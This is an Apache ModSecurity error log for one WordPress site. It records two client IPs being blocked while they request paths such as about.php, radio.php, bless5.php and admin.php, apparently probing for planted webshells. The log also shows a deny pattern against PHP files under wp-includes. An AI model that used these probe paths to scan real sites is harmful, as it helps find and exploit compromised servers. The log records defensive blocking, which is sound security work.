[Thu Feb 26 22:25:59.582569 2026] [:error] [pid 44444:tid 44473] [client 4.194.131.131:3062] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaBX922sMNmj-yekUk1PMwAAAhc"]
[Thu Feb 26 22:25:59.772826 2026] [:error] [pid 55618:tid 55643] [client 4.194.131.131:2048] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaBX9x61Vrh12f_8oWQUzwAAARY"]
[Thu Feb 26 22:26:00.025058 2026] [:error] [pid 54990:tid 54999] [client 4.194.131.131:2500] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aaBX-Htr2qmt_mBhH2wvfQAAAAY"]
[Thu Feb 26 22:26:00.148086 2026] [:error] [pid 55122:tid 55146] [client 20.151.107.14:64188] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "aaBX-ILiR0OfjFxvcN82hQAAANY"]
[Thu Feb 26 22:26:00.240051 2026] [:error] [pid 55122:tid 55135] [client 4.194.131.131:2055] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBX-ILiR0OfjFxvcN82hgAAAMs"]
[Thu Feb 26 22:26:00.485130 2026] [:error] [pid 25311:tid 25337] [client 4.194.131.131:2109] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBX-NfdM__yZAgJFSvsLgAAAZc"]
[Thu Feb 26 22:26:00.677734 2026] [:error] [pid 3883:tid 3895] [client 20.151.107.14:63526] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "aaBX-OA33x90V6yYHaj22wAAAUk"]
[Thu Feb 26 22:26:00.793446 2026] [:error] [pid 3883:tid 3893] [client 4.194.131.131:2085] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBX-OA33x90V6yYHaj23AAAAUc"]
[Thu Feb 26 22:26:00.998820 2026] [:error] [pid 44444:tid 44469] [client 4.194.131.131:2094] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaBX-G2sMNmj-yekUk1PPAAAAhM"]
[Thu Feb 26 22:26:01.181595 2026] [:error] [pid 20419:tid 20433] [client 4.194.131.131:2689] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaBX-e3DVDvMfTYYUBVo3QAAAcs"]
[Thu Feb 26 22:26:01.283859 2026] [:error] [pid 25311:tid 25320] [client 20.151.107.14:61361] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "aaBX-dfdM__yZAgJFSvsMAAAAYY"]
[Thu Feb 26 22:26:01.359724 2026] [:error] [pid 44444:tid 44461] [client 4.194.131.131:3056] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaBX-W2sMNmj-yekUk1PPgAAAgs"]
[Thu Feb 26 22:26:01.622762 2026] [:error] [pid 44444:tid 44450] [client 4.194.131.131:3058] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaBX-W2sMNmj-yekUk1PQQAAAgA"]
[Thu Feb 26 22:26:01.790779 2026] [:error] [pid 54991:tid 55029] [client 20.151.107.14:61330] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/"] [unique_id "aaBX-d4Zx-mJ8gbRB2j_IgAAAEk"]
[Thu Feb 26 22:26:01.821169 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2092] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaBX-d4Zx-mJ8gbRB2j_IwAAAEw"]
[Thu Feb 26 22:26:02.037183 2026] [:error] [pid 54990:tid 55010] [client 4.194.131.131:3070] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaBX-ntr2qmt_mBhH2wvgQAAABE"]
[Thu Feb 26 22:26:02.267424 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2091] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaBX-m2sMNmj-yekUk1PRQAAAgo"]
[Thu Feb 26 22:26:02.296009 2026] [:error] [pid 44444:tid 44453] [client 20.151.107.14:64162] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/about.php"] [unique_id "aaBX-m2sMNmj-yekUk1PRgAAAgM"]
[Thu Feb 26 22:26:02.539667 2026] [:error] [pid 55051:tid 55074] [client 4.194.131.131:2710] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaBX-gmK1w2kZvh5eLHQmgAAAJQ"]
[Thu Feb 26 22:26:02.728459 2026] [:error] [pid 55051:tid 55076] [client 20.151.107.14:61385] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/about.php"] [unique_id "aaBX-gmK1w2kZvh5eLHQmwAAAJY"]
[Thu Feb 26 22:26:02.750226 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:2507] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaBX-gmK1w2kZvh5eLHQnAAAAIg"]
[Thu Feb 26 22:26:02.925139 2026] [:error] [pid 25311:tid 25334] [client 4.194.131.131:2552] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBX-tfdM__yZAgJFSvsMQAAAZQ"]
[Thu Feb 26 22:26:03.120821 2026] [:error] [pid 55051:tid 55056] [client 4.194.131.131:2108] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBX-wmK1w2kZvh5eLHQnwAAAII"]
[Thu Feb 26 22:26:03.173844 2026] [:error] [pid 44444:tid 44462] [client 20.151.107.14:64195] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/about.php"] [unique_id "aaBX-22sMNmj-yekUk1PTgAAAgw"]
[Thu Feb 26 22:26:03.296315 2026] [:error] [pid 55122:tid 55132] [client 4.194.131.131:3049] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBX-4LiR0OfjFxvcN82iAAAAMg"]
[Thu Feb 26 22:26:03.471609 2026] [:error] [pid 54991:tid 55037] [client 4.194.131.131:2072] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBX-94Zx-mJ8gbRB2j_JgAAAFE"]
[Thu Feb 26 22:26:03.695452 2026] [:error] [pid 25311:tid 25333] [client 4.194.131.131:2518] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBX-9fdM__yZAgJFSvsMwAAAZM"]
[Thu Feb 26 22:26:03.695452 2026] [:error] [pid 25311:tid 25328] [client 20.151.107.14:62880] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/about.php"] [unique_id "aaBX-9fdM__yZAgJFSvsMgAAAY4"]
[Thu Feb 26 22:26:03.877140 2026] [:error] [pid 55618:tid 55628] [client 4.194.131.131:2079] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBX-x61Vrh12f_8oWQU0AAAAQc"]
[Thu Feb 26 22:26:04.068854 2026] [:error] [pid 55618:tid 55633] [client 4.194.131.131:2513] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBX_B61Vrh12f_8oWQU0QAAAQw"]
[Thu Feb 26 22:26:04.262617 2026] [:error] [pid 44444:tid 44452] [client 4.194.131.131:3026] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBX_G2sMNmj-yekUk1PUgAAAgI"]
[Thu Feb 26 22:26:04.304191 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:60780] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaBX_G2sMNmj-yekUk1PUwAAAgA"]
[Thu Feb 26 22:26:04.478785 2026] [:error] [pid 44444:tid 44463] [client 4.194.131.131:2086] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX_G2sMNmj-yekUk1PVAAAAg0"]
[Thu Feb 26 22:26:04.723245 2026] [:error] [pid 3883:tid 3898] [client 4.194.131.131:2101] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX_OA33x90V6yYHaj24QAAAUw"]
[Thu Feb 26 22:26:04.781438 2026] [:error] [pid 20419:tid 20429] [client 20.151.107.14:63586] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaBX_O3DVDvMfTYYUBVo4AAAAcc"]
[Thu Feb 26 22:26:04.930995 2026] [:error] [pid 3883:tid 3901] [client 4.194.131.131:2527] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX_OA33x90V6yYHaj24gAAAU8"]
[Thu Feb 26 22:26:05.128672 2026] [:error] [pid 55122:tid 55126] [client 4.194.131.131:2105] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaBX_YLiR0OfjFxvcN82iQAAAMI"]
[Thu Feb 26 22:26:05.299930 2026] [:error] [pid 55122:tid 55127] [client 20.151.107.14:61418] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaBX_YLiR0OfjFxvcN82igAAAMM"]
[Thu Feb 26 22:26:05.330229 2026] [:error] [pid 44444:tid 44472] [client 4.194.131.131:3061] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaBX_W2sMNmj-yekUk1PVgAAAhY"]
[Thu Feb 26 22:26:05.510488 2026] [:error] [pid 25311:tid 25315] [client 4.194.131.131:2728] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaBX_dfdM__yZAgJFSvsNQAAAYE"]
[Thu Feb 26 22:26:05.688190 2026] [:error] [pid 25311:tid 25332] [client 4.194.131.131:2050] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaBX_dfdM__yZAgJFSvsNgAAAZI"]
[Thu Feb 26 22:26:05.795925 2026] [:error] [pid 55122:tid 55128] [client 20.151.107.14:61413] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaBX_YLiR0OfjFxvcN82iwAAAMQ"]
[Thu Feb 26 22:26:05.907073 2026] [:error] [pid 25311:tid 25323] [client 4.194.131.131:2503] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaBX_dfdM__yZAgJFSvsNwAAAYk"]
[Thu Feb 26 22:26:06.082804 2026] [:error] [pid 25311:tid 25330] [client 4.194.131.131:2076] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaBX_tfdM__yZAgJFSvsOAAAAZA"]
[Thu Feb 26 22:26:06.230965 2026] [:error] [pid 54991:tid 55041] [client 20.151.107.14:61356] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaBX_t4Zx-mJ8gbRB2j_JwAAAFU"]
[Thu Feb 26 22:26:06.271989 2026] [:error] [pid 44444:tid 44451] [client 4.194.131.131:2522] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaBX_m2sMNmj-yekUk1PWAAAAgE"]
[Thu Feb 26 22:26:06.467261 2026] [:error] [pid 55051:tid 55058] [client 4.194.131.131:2514] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaBX_gmK1w2kZvh5eLHQpQAAAIQ"]
[Thu Feb 26 22:26:06.643365 2026] [:error] [pid 55051:tid 55070] [client 4.194.131.131:2520] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaBX_gmK1w2kZvh5eLHQpwAAAJA"]
[Thu Feb 26 22:26:06.720615 2026] [:error] [pid 55051:tid 55066] [client 20.151.107.14:63577] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBX_gmK1w2kZvh5eLHQqAAAAIw"]
[Thu Feb 26 22:26:06.865785 2026] [:error] [pid 55051:tid 55072] [client 4.194.131.131:3042] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaBX_gmK1w2kZvh5eLHQqQAAAJI"]
[Thu Feb 26 22:26:07.073352 2026] [:error] [pid 20419:tid 20442] [client 4.194.131.131:3069] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaBX_-3DVDvMfTYYUBVo7AAAAdQ"]
[Thu Feb 26 22:26:07.234555 2026] [:error] [pid 44444:tid 44460] [client 20.151.107.14:62886] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBX_22sMNmj-yekUk1PWgAAAgo"]
[Thu Feb 26 22:26:07.290255 2026] [:error] [pid 3883:tid 3887] [client 4.194.131.131:2529] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaBX_-A33x90V6yYHaj25QAAAUE"]
[Thu Feb 26 22:26:07.541968 2026] [:error] [pid 44444:tid 44467] [client 4.194.131.131:2536] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaBX_22sMNmj-yekUk1PXAAAAhE"]
[Thu Feb 26 22:26:07.707622 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:64131] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBX_94Zx-mJ8gbRB2j_KAAAAFg"]
